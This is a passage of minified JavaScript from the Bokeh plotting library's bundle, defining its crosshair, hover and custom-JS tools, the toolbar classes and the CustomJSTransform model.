I=t(268);i.Toolbar=I.Toolbar;var R=t(269);i.ToolbarBase=R.ToolbarBase;var B=t(270);i.ProxyToolbar=B.ProxyToolbar;var L=t(270);i.ToolbarBox=L.ToolbarBox},function(t,e,i){var n=t(391),r=t(264),o=t(73),s=t(15),a=t(32),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._move=function(t){if(this.model.active){var e=t.sx,i=t.sy;this.plot_model.frame.bbox.contains(e,i)?this._update_spans(e,i):this._update_spans(null,null)}},e.prototype._move_exit=function(t){this._update_spans(null,null)},e.prototype._update_spans=function(t,e){var i=this.model.dimensions;\\\"width\\\"!=i&&\\\"both\\\"!=i||(this.model.spans.width.computed_location=e),\\\"height\\\"!=i&&\\\"both\\\"!=i||(this.model.spans.height.computed_location=t)},e}(r.InspectToolView);i.CrosshairToolView=l;var h=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Crosshair\\\",e.icon=\\\"bk-tool-icon-crosshair\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"CrosshairTool\\\",this.prototype.default_view=l,this.define({dimensions:[s.Dimensions,\\\"both\\\"],line_color:[s.Color,\\\"black\\\"],line_width:[s.Number,1],line_alpha:[s.Number,1]}),this.internal({location_units:[s.SpatialUnits,\\\"screen\\\"],render_mode:[s.RenderMode,\\\"css\\\"],spans:[s.Any]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(\\\"Crosshair\\\",this.dimensions)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"synthetic_renderers\\\",{get:function(){return a.values(this.spans)},enumerable:!0,configurable:!0}),t.prototype.initialize=function(){i.prototype.initialize.call(this),this.spans={width:new o.Span({for_hover:!0,dimension:\\\"width\\\",render_mode:this.render_mode,location_units:this.location_units,line_color:this.line_color,line_width:this.line_width,line_alpha:this.line_alpha}),height:new o.Span({for_hover:!0,dimension:\\\"height\\\",render_mode:this.render_mode,location_units:this.location_units,line_color:this.line_color,line_width:this.line_width,line_alpha:this.line_alpha})}},t}(r.InspectTool);(i.CrosshairTool=h).initClass()},function(r,t,o){var i=r(391),e=r(59),n=r(15),s=r(32),a=r(38),l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CustomJSHover\\\",this.define({args:[n.Any,{}],code:[n.String,\\\"\\\"]})},Object.defineProperty(t.prototype,\\\"values\\\",{get:function(){return s.values(this.args)},enumerable:!0,configurable:!0}),t.prototype._make_code=function(t,e,i,n){return new(Function.bind.apply(Function,[void 0].concat(s.keys(this.args),[t,e,i,\\\"require\\\",\\\"exports\\\",a.use_strict(n)])))},t.prototype.format=function(t,e,i){var n=this._make_code(\\\"value\\\",\\\"format\\\",\\\"special_vars\\\",this.code);return n.apply(void 0,this.values.concat([t,e,i,r,o]))},t}(e.Model);(o.CustomJSHover=l).initClass()},function(t,e,i){var f=t(391),n=t(264),s=t(77),Z=t(185),tt=t(186),o=t(271),c=t(9),k=t(40),S=t(5),r=t(15),C=t(27),et=t(32),T=t(44),a=t(4);function it(t,e,i,n,r,o){var s,a,l={x:r[t],y:o[t]},h={x:r[t+1],y:o[t+1]};if(\\\"span\\\"==e.type)\\\"h\\\"==e.direction?(s=Math.abs(l.x-i),a=Math.abs(h.x-i)):(s=Math.abs(l.y-n),a=Math.abs(h.y-n));else{var u={x:i,y:n};s=c.dist_2_pts(l,u),a=c.dist_2_pts(h,u)}return s<a?[[l.x,l.y],t]:[[h.x,h.y],t+1]}function nt(t,e,i){return[[t[i],e[i]],i]}i._nearest_line_hit=it,i._line_hit=nt;var l=function(r){function t(){return null!==r&&r.apply(this,arguments)||this}return f.__extends(t,r),t.prototype.initialize=function(t){r.prototype.initialize.call(this,t),this.ttviews={}},t.prototype.remove=function(){a.remove_views(this.ttviews),r.prototype.remove.call(this)},t.prototype.connect_signals=function(){var t=this;r.prototype.connect_signals.call(this);for(var e=0,i=this.computed_renderers;e<i.length;e++){var n=i[e];n instanceof Z.GlyphRenderer?this.connect(n.data_source.inspect,this._update):(this.connect(n.node_renderer.data_source.inspect,this._update),this.connect(n.edge_renderer.data_source.inspect,this._update))}this.connect(this.model.properties.renderers.change,function(){return t._computed_renderers=t._ttmodels=null}),this.connect(this.model.properties.names.change,function(){return t._computed_renderers=t._ttmodels=null}),this.connect(this.model.properties.tooltips.change,function(){return t._ttmodels=null})},t.prototype._compute_ttmodels=function(){var t={},e=this.model.tooltips;if(null!=e)for(var i=0,n=this.computed_renderers;i<n.length;i++){var r=n[i];if(r instanceof Z.GlyphRenderer){var o=new s.Tooltip({custom:T.isString(e)||T.isFunction(e),attachment:this.model.attachment,show_arrow:this.model.show_arrow});t[r.id]=o}else{var o=new s.Tooltip({custom:T.isString(e)||T.isFunction(e),attachment:this.model.attachment,show_arrow:this.model.show_arrow});t[r.node_renderer.id]=o,t[r.edge_renderer.id]=o}}return a.build_views(this.ttviews,et.values(t),{parent:this,plot_view:this.plot_view}),t},Object.defineProperty(t.prototype,\\\"computed_renderers\\\",{get:function(){if(null==this._computed_renderers){var t=this.model.renderers,e=this.plot_model.plot.renderers,i=this.model.names;this._computed_renderers=o.compute_renderers(t,e,i)}return this._computed_renderers},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"ttmodels\\\",{get:function(){return null==this._ttmodels&&(this._ttmodels=this._compute_ttmodels()),this._ttmodels},enumerable:!0,configurable:!0}),t.prototype._clear=function(){for(var t in this._inspect(1/0,1/0),this.ttmodels){var e=this.ttmodels[t];e.clear()}},t.prototype._move=function(t){if(this.model.active){var e=t.sx,i=t.sy;this.plot_model.frame.bbox.contains(e,i)?this._inspect(e,i):this._clear()}},t.prototype._move_exit=function(){this._clear()},t.prototype._inspect=function(t,e){var i;if(\\\"mouse\\\"==this.model.mode)i={type:\\\"point\\\",sx:t,sy:e};else{var n=\\\"vline\\\"==this.model.mode?\\\"h\\\":\\\"v\\\";i={type:\\\"span\\\",direction:n,sx:t,sy:e}}for(var r=0,o=this.computed_renderers;r<o.length;r++){var s=o[r],a=s.get_selection_manager();a.inspect(this.plot_view.renderer_views[s.id],i)}null!=this.model.callback&&this._emit_callback(i)},t.prototype._update=function(t){var e,i,n,r,o,s,a,l,h,u,c,_,p,d,f,v,m=t[0],g=t[1].geometry;if(this.model.active&&(m instanceof Z.GlyphRendererView||m instanceof tt.GraphRendererView)){var y=m.model,b=this.ttmodels[y.id];if(null!=b){b.clear();var x=y.get_selection_manager(),w=x.inspectors[y.id];if(y instanceof Z.GlyphRenderer&&(w=y.view.convert_selection_to_subset(w)),!w.is_empty()){for(var k=x.source,S=this.plot_model.frame,C=g.sx,T=g.sy,A=S.xscales[y.x_range_name],E=S.yscales[y.y_range_name],M=A.invert(C),O=E.invert(T),z=m.glyph,P=0,j=w.line_indices;P<j.length;P++){var N=j[P],F=z._x[N+1],D=z._y[N+1],I=N,R=void 0,B=void 0;switch(this.model.line_policy){case\\\"interp\\\":e=z.get_interpolation_hit(N,g),F=e[0],D=e[1],R=A.compute(F),B=E.compute(D);break;case\\\"prev\\\":i=nt(z.sx,z.sy,N),n=i[0],R=n[0],B=n[1],I=i[1];break;case\\\"next\\\":r=nt(z.sx,z.sy,N+1),o=r[0],R=o[0],B=o[1],I=r[1];break;case\\\"nearest\\\":s=it(N,g,C,T,z.sx,z.sy),a=s[0],R=a[0],B=a[1],I=s[1],F=z._x[I],D=z._y[I];break;default:R=(l=[C,T])[0],B=l[1]}var L={index:I,x:M,y:O,sx:C,sy:T,data_x:F,data_y:D,rx:R,ry:B,indices:w.line_indices,name:m.model.name};b.add(R,B,this._render_tooltips(k,I,L))}for(var V=0,G=w.image_indices;V<G.length;V++){var U=G[V],L={index:U.index,x:M,y:O,sx:C,sy:T},q=this._render_tooltips(k,U,L);b.add(C,T,q)}for(var Y=0,X=w.indices;Y<X.length;Y++){var N=X[Y];if(et.isEmpty(w.multiline_indices)){var F=null!=z._x?z._x[N]:void 0,D=null!=z._y?z._y[N]:void 0,R=void 0,B=void 0;if(\\\"snap_to_data\\\"==this.model.point_policy){var H=z.get_anchor_point(this.model.anchor,N,[C,T]);null==H&&(H=z.get_anchor_point(\\\"center\\\",N,[C,T])),R=H.x,B=H.y}else R=(v=[C,T])[0],B=v[1];var W=void 0,L={index:W=y instanceof Z.GlyphRenderer?y.view.convert_indices_from_subset([N])[0]:N,x:M,y:O,sx:C,sy:T,data_x:F,data_y:D,indices:w.indices,name:m.model.name};b.add(R,B,this._render_tooltips(k,W,L))}else for(var J=0,Q=w.multiline_indices[N.toString()];J<Q.length;J++){var $=Q[J],F=z._xs[N][$],D=z._ys[N][$],K=$,R=void 0,B=void 0;switch(this.model.line_policy){case\\\"interp\\\":h=z.get_interpolation_hit(N,$,g),F=h[0],D=h[1],R=A.compute(F),B=E.compute(D);break;case\\\"prev\\\":u=nt(z.sxs[N],z.sys[N],$),c=u[0],R=c[0],B=c[1],K=u[1];break;case\\\"next\\\":_=nt(z.sxs[N],z.sys[N],$+1),p=_[0],R=p[0],B=p[1],K=_[1];break;case\\\"nearest\\\":d=it($,g,C,T,z.sxs[N],z.sys[N]),f=d[0],R=f[0],B=f[1],K=d[1],F=z._xs[N][K],D=z._ys[N][K];break;default:throw new Error(\\\"should't have happened\\\")}var W=void 0,L={index:W=y instanceof Z.GlyphRenderer?y.view.convert_indices_from_subset([N])[0]:N,segment_index:K,x:M,y:O,sx:C,sy:T,data_x:F,data_y:D,indices:w.multiline_indices,name:m.model.name};b.add(R,B,this._render_tooltips(k,W,L))}}}}}},t.prototype._emit_callback=function(t){for(var e=0,i=this.computed_renderers;e<i.length;e++){var n=i[e],r=n.data_source.inspected,o=this.plot_model.frame,s=o.xscales[n.x_range_name],a=o.yscales[n.y_range_name],l=s.invert(t.sx),h=a.invert(t.sy),u=f.__assign({x:l,y:h},t),c=this.model.callback,_=[c,{index:r,geometry:u,renderer:n}],p=_[0],d=_[1];T.isFunction(c)?c(p,d):c.execute(p,d)}},t.prototype._render_tooltips=function(t,e,i){var n=this.model.tooltips;if(T.isString(n)){var r=S.div();return r.innerHTML=k.replace_placeholders(n,t,e,this.model.formatters,i),r}if(T.isFunction(n))return n(t,i);for(var o=S.div({style:{display:\\\"table\\\",borderSpacing:\\\"2px\\\"}}),s=0,a=n;s<a.length;s++){var l=a[s],h=l[0],u=l[1],c=S.div({style:{display:\\\"table-row\\\"}});o.appendChild(c);var _=void 0;if(_=S.div({style:{display:\\\"table-cell\\\"},class:\\\"bk-tooltip-row-label\\\"},h+\\\": \\\"),c.appendChild(_),_=S.div({style:{display:\\\"table-cell\\\"},class:\\\"bk-tooltip-row-value\\\"}),c.appendChild(_),0<=u.indexOf(\\\"$color\\\")){var p=u.match(/\\\\$color(\\\\[.*\\\\])?:(\\\\w*)/),d=p[1],f=void 0===d?\\\"\\\":d,v=p[2],m=t.get_column(v);if(null==m){var g=S.span({},v+\\\" unknown\\\");_.appendChild(g);continue}var y=0<=f.indexOf(\\\"hex\\\"),b=0<=f.indexOf(\\\"swatch\\\"),x=T.isNumber(e)?m[e]:null;if(null==x){var w=S.span({},\\\"(null)\\\");_.appendChild(w);continue}y&&(x=C.color2hex(x));var r=S.span({},x);_.appendChild(r),b&&(r=S.span({class:\\\"bk-tooltip-color-block\\\",style:{backgroundColor:x}},\\\" \\\"),_.appendChild(r))}else{var r=S.span();r.innerHTML=k.replace_placeholders(u.replace(\\\"$~\\\",\\\"$data_\\\"),t,e,this.model.formatters,i),_.appendChild(r)}}return o},t}(n.InspectToolView);i.HoverToolView=l;var h=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Hover\\\",e.icon=\\\"bk-tool-icon-hover\\\",e}return f.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"HoverTool\\\",this.prototype.default_view=l,this.define({tooltips:[r.Any,[[\\\"index\\\",\\\"$index\\\"],[\\\"data (x, y)\\\",\\\"($x, $y)\\\"],[\\\"screen (x, y)\\\",\\\"($sx, $sy)\\\"]]],formatters:[r.Any,{}],renderers:[r.Any,\\\"auto\\\"],names:[r.Array,[]],mode:[r.String,\\\"mouse\\\"],point_policy:[r.String,\\\"snap_to_data\\\"],line_policy:[r.String,\\\"nearest\\\"],show_arrow:[r.Boolean,!0],anchor:[r.String,\\\"center\\\"],attachment:[r.String,\\\"horizontal\\\"],callback:[r.Any]})},t}(n.InspectTool);(i.HoverTool=h).initClass()},function(t,e,i){var n=t(391),r=t(241),o=t(265),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.ButtonToolView);i.InspectToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.event_type=\\\"move\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"InspectTool\\\",this.prototype.button_view=o.OnOffButtonView,this.define({toggleable:[s.Bool,!0]}),this.override({active:!0})},t}(r.ButtonTool);(i.InspectTool=l).initClass()},function(t,e,i){var n=t(391),r=t(241),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.render=function(){t.prototype.render.call(this),this.model.active?this.el.classList.add(\\\"bk-active\\\"):this.el.classList.remove(\\\"bk-active\\\")},e.prototype._clicked=function(){var t=this.model.active;this.model.active=!t},e}(r.ButtonToolButtonView);i.OnOffButtonView=o},function(t,e,i){var n=t(391),r=t(15),o=t(48),_=t(21),s=t(59),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.plot_view=t.plot_view},Object.defineProperty(t.prototype,\\\"plot_model\\\",{get:function(){return this.plot_view.model},enumerable:!0,configurable:!0}),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.active.change,function(){t.model.active?t.activate():t.deactivate()})},t.prototype.activate=function(){},t.prototype.deactivate=function(){},t}(o.View);i.ToolView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Tool\\\",this.internal({active:[r.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"synthetic_renderers\\\",{get:function(){return[]},enumerable:!0,configurable:!0}),t.prototype._get_dim_tooltip=function(t,e){switch(e){case\\\"width\\\":return t+\\\" (x-axis)\\\";case\\\"height\\\":return t+\\\" (y-axis)\\\";case\\\"both\\\":return t}},t.prototype._get_dim_limits=function(t,e,i,n){var r,o=t[0],s=t[1],a=e[0],l=e[1],h=i.bbox.h_range;\\\"width\\\"==n||\\\"both\\\"==n?(r=[_.min([o,a]),_.max([o,a])],r=[_.max([r[0],h.start]),_.min([r[1],h.end])]):r=[h.start,h.end];var u,c=i.bbox.v_range;return\\\"height\\\"==n||\\\"both\\\"==n?(u=[_.min([s,l]),_.max([s,l])],u=[_.max([u[0],c.start]),_.min([u[1],c.end])]):u=[c.start,c.end],[r,u]},t}(s.Model);(i.Tool=l).initClass()},function(t,e,i){var n=t(391),r=t(15),o=t(19),s=t(59),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ToolProxy\\\",this.define({tools:[r.Array,[]],active:[r.Bool,!1],disabled:[r.Bool,!1]})},Object.defineProperty(t.prototype,\\\"button_view\\\",{get:function(){return this.tools[0].button_view},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"event_type\\\",{get:function(){return this.tools[0].event_type},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this.tools[0].tooltip},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"tool_name\\\",{get:function(){return this.tools[0].tool_name},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"icon\\\",{get:function(){return this.tools[0].computed_icon},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"computed_icon\\\",{get:function(){return this.icon},enumerable:!0,configurable:!0}),t.prototype.initialize=function(){e.prototype.initialize.call(this),this.do=new o.Signal0(this,\\\"do\\\")},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.do,function(){return t.doit()}),this.connect(this.properties.active.change,function(){return t.set_active()})},t.prototype.doit=function(){for(var t=0,e=this.tools;t<e.length;t++){var i=e[t];i.do.emit()}},t.prototype.set_active=function(){for(var t=0,e=this.tools;t<e.length;t++){var i=e[t];i.active=this.active}},t}(s.Model);(i.ToolProxy=a).initClass()},function(t,e,i){var n=t(391),r=t(15),v=t(14),m=t(44),g=t(21),y=t(232),b=t(234),x=t(251),w=t(264),o=t(269),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Toolbar\\\",this.prototype.default_view=o.ToolbarBaseView,this.define({active_drag:[r.Any,\\\"auto\\\"],active_inspect:[r.Any,\\\"auto\\\"],active_scroll:[r.Any,\\\"auto\\\"],active_tap:[r.Any,\\\"auto\\\"],active_multi:[r.Any,null]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._init_tools()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.properties.tools.change,function(){return t._init_tools()})},t.prototype._init_tools=function(){for(var e=this,t=function(e){if(e instanceof w.InspectTool)g.any(s.inspectors,function(t){return t.id==e.id})||(s.inspectors=s.inspectors.concat([e]));else if(e instanceof b.HelpTool)g.any(s.help,function(t){return t.id==e.id})||(s.help=s.help.concat([e]));else if(e instanceof y.ActionTool)g.any(s.actions,function(t){return t.id==e.id})||(s.actions=s.actions.concat([e]));else if(e instanceof x.GestureTool){var t=void 0,i=void 0;m.isString(e.event_type)?(t=[e.event_type],i=!1):(t=e.event_type||[],i=!0);for(var n=0,r=t;n<r.length;n++){var o=r[n];o in s.gestures?(i&&(o=\\\"multi\\\"),g.any(s.gestures[o].tools,function(t){return t.id==e.id})||(s.gestures[o].tools=s.gestures[o].tools.concat([e])),s.connect(e.properties.active.change,s._active_change.bind(s,e))):v.logger.warn(\\\"Toolbar: unknown event type '\\\"+o+\\\"' for tool: \\\"+e.type+\\\" (\\\"+e.id+\\\")\\\")}}},s=this,i=0,n=this.tools;i<n.length;i++){var r=n[i];t(r)}if(\\\"auto\\\"==this.active_inspect);else if(this.active_inspect instanceof w.InspectTool)for(var o=0,a=this.inspectors;o<a.length;o++){var l=a[o];l!=this.active_inspect&&(l.active=!1)}else if(m.isArray(this.active_inspect))for(var h=0,u=this.inspectors;h<u.length;h++){var l=u[h];g.includes(this.active_inspect,l)||(l.active=!1)}else if(null==this.active_inspect)for(var c=0,_=this.inspectors;c<_.length;c++){var l=_[c];l.active=!1}var p=function(t){t.active?e._active_change(t):t.active=!0};for(var d in this.gestures){var f=this.gestures[d];if(0!=f.tools.length){if(f.tools=g.sortBy(f.tools,function(t){return t.default_order}),\\\"tap\\\"==d){if(null==this.active_tap)continue;\\\"auto\\\"==this.active_tap?p(f.tools[0]):p(this.active_tap)}if(\\\"pan\\\"==d){if(null==this.active_drag)continue;\\\"auto\\\"==this.active_drag?p(f.tools[0]):p(this.active_drag)}if(\\\"pinch\\\"==d||\\\"scroll\\\"==d){if(null==this.active_scroll||\\\"auto\\\"==this.active_scroll)continue;p(this.active_scroll)}null!=this.active_multi&&p(this.active_multi)}}},t}(o.ToolbarBase);(i.Toolbar=s).initClass()},function(t,e,i){var n=t(391),a=t(14),c=t(5),r=t(4),o=t(15),s=t(6),l=t(44),h=t(59),u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ToolbarBase\\\",this.define({_visible:[o.Bool,null],autohide:[o.Bool,!1]})},Object.defineProperty(t.prototype,\\\"visible\\\",{get:function(){return!this.autohide||null!=this._visible&&this._visible},enumerable:!0,configurable:!0}),t}(h.Model);(i.ToolbarViewModel=u).initClass();var _=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this._tool_button_views={},this._build_tool_button_views(),this._toolbar_view_model=new u({autohide:this.model.autohide})},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.tools.change,function(){return t._build_tool_button_views()}),this.connect(this.model.properties.autohide.change,function(){t._toolbar_view_model.autohide=t.model.autohide,t._on_visible_change()}),this.connect(this._toolbar_view_model.properties._visible.change,function(){return t._on_visible_change()})},t.prototype.remove=function(){r.remove_views(this._tool_button_views),e.prototype.remove.call(this)},t.prototype._build_tool_button_views=function(){var t=null!=this.model._proxied_tools?this.model._proxied_tools:this.model.tools;r.build_views(this._tool_button_views,t,{parent:this},function(t){return t.button_view})},t.prototype.set_visibility=function(t){t!=this._toolbar_view_model._visible&&(this._toolbar_view_model._visible=t)},t.prototype._on_visible_change=function(){var t=this._toolbar_view_model.visible,e=\\\"bk-toolbar-hidden\\\";this.el.classList.contains(e)&&t?this.el.classList.remove(e):t||this.el.classList.add(e)},t.prototype.render=function(){var e=this;if(c.empty(this.el),this.el.classList.add(\\\"bk-toolbar\\\"),this.el.classList.add(\\\"bk-toolbar-\\\"+this.model.toolbar_location),this._toolbar_view_model.autohide=this.model.autohide,this._on_visible_change(),null!=this.model.logo){var t=\\\"grey\\\"===this.model.logo?\\\"bk-grey\\\":null,i=c.a({href:\\\"https://bokeh.pydata.org/\\\",target:\\\"_blank\\\",class:[\\\"bk-logo\\\",\\\"bk-logo-small\\\",t]});this.el.appendChild(i)}var n=[],r=function(t){return e._tool_button_views[t.id].el},o=this.model.gestures;for(var s in o)n.push(o[s].tools.map(r));n.push(this.model.actions.map(r)),n.push(this.model.inspectors.filter(function(t){return t.toggleable}).map(r)),n.push(this.model.help.map(r));for(var a=0,l=n;a<l.length;a++){var h=l[a];if(0!==h.length){var u=c.div({class:\\\"bk-button-bar\\\"},h);this.el.appendChild(u)}}},t}(s.DOMView);i.ToolbarBaseView=_;var p=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ToolbarBase\\\",this.prototype.default_view=_,this.define({tools:[o.Array,[]],logo:[o.String,\\\"normal\\\"],autohide:[o.Bool,!1]}),this.internal({gestures:[o.Any,function(){return{pan:{tools:[],active:null},scroll:{tools:[],active:null},pinch:{tools:[],active:null},tap:{tools:[],active:null},doubletap:{tools:[],active:null},press:{tools:[],active:null},rotate:{tools:[],active:null},move:{tools:[],active:null},multi:{tools:[],active:null}}}],actions:[o.Array,[]],inspectors:[o.Array,[]],help:[o.Array,[]],toolbar_location:[o.Location,\\\"right\\\"]})},Object.defineProperty(t.prototype,\\\"horizontal\\\",{get:function(){return\\\"above\\\"===this.toolbar_location||\\\"below\\\"===this.toolbar_location},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"vertical\\\",{get:function(){return\\\"left\\\"===this.toolbar_location||\\\"right\\\"===this.toolbar_location},enumerable:!0,configurable:!0}),t.prototype._active_change=function(t){var e=t.event_type;if(null!=e)for(var i=l.isString(e)?[e]:e,n=0,r=i;n<r.length;n++){var o=r[n];if(t.active){var s=this.gestures[o].active;null!=s&&t!=s&&(a.logger.debug(\\\"Toolbar: deactivating tool: \\\"+s.type+\\\" (\\\"+s.id+\\\") for event type '\\\"+o+\\\"'\\\"),s.active=!1),this.gestures[o].active=t,a.logger.debug(\\\"Toolbar: activating tool: \\\"+t.type+\\\" (\\\"+t.id+\\\") for event type '\\\"+o+\\\"'\\\")}else this.gestures[o].active=null}},t}(h.Model);(i.ToolbarBase=p).initClass()},function(t,e,i){var n=t(391),r=t(15),o=t(5),a=t(14),l=t(44),E=t(21),h=t(232),u=t(234),c=t(251),_=t(264),s=t(269),M=t(267),p=t(157),d=t(4),f=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ProxyToolbar\\\"},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._init_tools(),this._merge_tools()},t.prototype._init_tools=function(){for(var t=function(e){if(e instanceof _.InspectTool)E.any(s.inspectors,function(t){return t.id==e.id})||(s.inspectors=s.inspectors.concat([e]));else if(e instanceof u.HelpTool)E.any(s.help,function(t){return t.id==e.id})||(s.help=s.help.concat([e]));else if(e instanceof h.ActionTool)E.any(s.actions,function(t){return t.id==e.id})||(s.actions=s.actions.concat([e]));else if(e instanceof c.GestureTool){var t=void 0,i=void 0;l.isString(e.event_type)?(t=[e.event_type],i=!1):(t=e.event_type||[],i=!0);for(var n=0,r=t;n<r.length;n++){var o=r[n];o in s.gestures?(i&&(o=\\\"multi\\\"),E.any(s.gestures[o].tools,function(t){return t.id==e.id})||(s.gestures[o].tools=s.gestures[o].tools.concat([e]))):a.logger.warn(\\\"Toolbar: unknown event type '\\\"+o+\\\"' for tool: \\\"+e.type+\\\" (\\\"+e.id+\\\")\\\")}}},s=this,e=0,i=this.tools;e<i.length;e++){var n=i[e];t(n)}},t.prototype._merge_tools=function(){var t,n=this;this._proxied_tools=[];for(var e={},i={},r={},o=[],s=[],a=0,l=this.help;a<l.length;a++){var h=l[a];E.includes(s,h.redirect)||(o.push(h),s.push(h.redirect))}for(var u in(t=this._proxied_tools).push.apply(t,o),this.help=o,this.gestures){var c=this.gestures[u];u in r||(r[u]={});for(var _=0,p=c.tools;_<p.length;_++){var d=p[_];d.type in r[u]||(r[u][d.type]=[]),r[u][d.type].push(d)}}for(var f=0,v=this.inspectors;f<v.length;f++){var d=v[f];d.type in e||(e[d.type]=[]),e[d.type].push(d)}for(var m=0,g=this.actions;m<g.length;m++){var d=g[m];d.type in i||(i[d.type]=[]),i[d.type].push(d)}var y=function(t,e){void 0===e&&(e=!1);var i=new M.ToolProxy({tools:t,active:e});return n._proxied_tools.push(i),i};for(var u in r){var c=this.gestures[u];for(var b in c.tools=[],r[u]){var x=r[u][b];if(0<x.length)if(\\\"multi\\\"==u)for(var w=0,k=x;w<k.length;w++){var d=k[w],S=y([d]);c.tools.push(S),this.connect(S.properties.active.change,this._active_change.bind(this,S))}else{var S=y(x);c.tools.push(S),this.connect(S.properties.active.change,this._active_change.bind(this,S))}}}for(var b in this.actions=[],i){var x=i[b];if(\\\"CustomAction\\\"==b)for(var C=0,T=x;C<T.length;C++){var d=T[C];this.actions.push(y([d]))}else 0<x.length&&this.actions.push(y(x))}for(var b in this.inspectors=[],e){var x=e[b];0<x.length&&this.inspectors.push(y(x,!0))}for(var A in this.gestures){var c=this.gestures[A];0!=c.tools.length&&(c.tools=E.sortBy(c.tools,function(t){return t.default_order}),\\\"pinch\\\"!=A&&\\\"scroll\\\"!=A&&\\\"multi\\\"!=A&&(c.tools[0].active=!0))}},t}(s.ToolbarBase);(i.ProxyToolbar=f).initClass();var v=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.model.toolbar.toolbar_location=this.model.toolbar_location,this._toolbar_views={},d.build_views(this._toolbar_views,[this.model.toolbar],{parent:this})},t.prototype.remove=function(){d.remove_views(this._toolbar_views),e.prototype.remove.call(this)},t.prototype.css_classes=function(){return e.prototype.css_classes.call(this).concat(\\\"bk-toolbar-box\\\")},t.prototype.render=function(){e.prototype.render.call(this);var t=this._toolbar_views[this.model.toolbar.id];t.render(),o.empty(this.el),this.el.appendChild(t.el)},t.prototype.get_width=function(){return this.model.toolbar.vertical?30:null},t.prototype.get_height=function(){return this.model.toolbar.horizontal?30:null},t}(p.LayoutDOMView);i.ToolbarBoxView=v;var m=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ToolbarBox\\\",this.prototype.default_view=v,this.define({toolbar:[r.Instance],toolbar_location:[r.Location,\\\"right\\\"]})},Object.defineProperty(t.prototype,\\\"sizing_mode\\\",{get:function(){switch(this.toolbar_location){case\\\"above\\\":case\\\"below\\\":return\\\"scale_width\\\";case\\\"left\\\":case\\\"right\\\":return\\\"scale_height\\\"}},enumerable:!0,configurable:!0}),t}(p.LayoutDOM);(i.ToolbarBox=m).initClass()},function(t,e,i){var r=t(21),o=t(185),s=t(186);i.compute_renderers=function(t,e,i){return null==t?[]:(n=\\\"auto\\\"==t?e.filter(function(t){return t instanceof o.GlyphRenderer||t instanceof s.GraphRenderer}):t,0<i.length&&(n=n.filter(function(t){return r.includes(i,t.name)})),n);var n}},function(i,t,e){var n=i(391),r=i(279),o=i(15),s=i(32),a=i(38),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CustomJSTransform\\\",this.define({args:[o.Any,{}],func:[o.String,\\\"\\\"],v_func:[o.String,\\\"\\\"],use_strict:[o.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"names\\\",{get:function(){return s.keys(this.args)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"values\\\",{get:function(){return s.values(this.args)},enumerable:!0,configurable:!0}),t.prototype._make_transform=function(t,e){var i=this.use_strict?a.use_strict(e):e;return new(Function.bind.apply(Function,[void 0].concat(this.names,[t,\\\"require\\\",\\\"exports\\\",i])))},Object.defineProperty(t.prototype,\\\"scalar_transform\\\",{get:function(){return this._make_transform(\\\"x\\\",this.func)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"vector_transform\\\",{get:function(){return this._make_transform(\\\"xs\\\",this.v_func)},enumerable:!0,configurable:!0}),t.prototype.compute=function(t){return this.scalar_transform.apply(this,this.values.concat([t,i,{}]))},t.prototype.v_compute=function(t){return this.vector_transform.apply(this,this.values.concat([t,i,{}]))},t}(r.Transform);(e.CustomJSTransform=l).initClass()},function(t,e,i){var 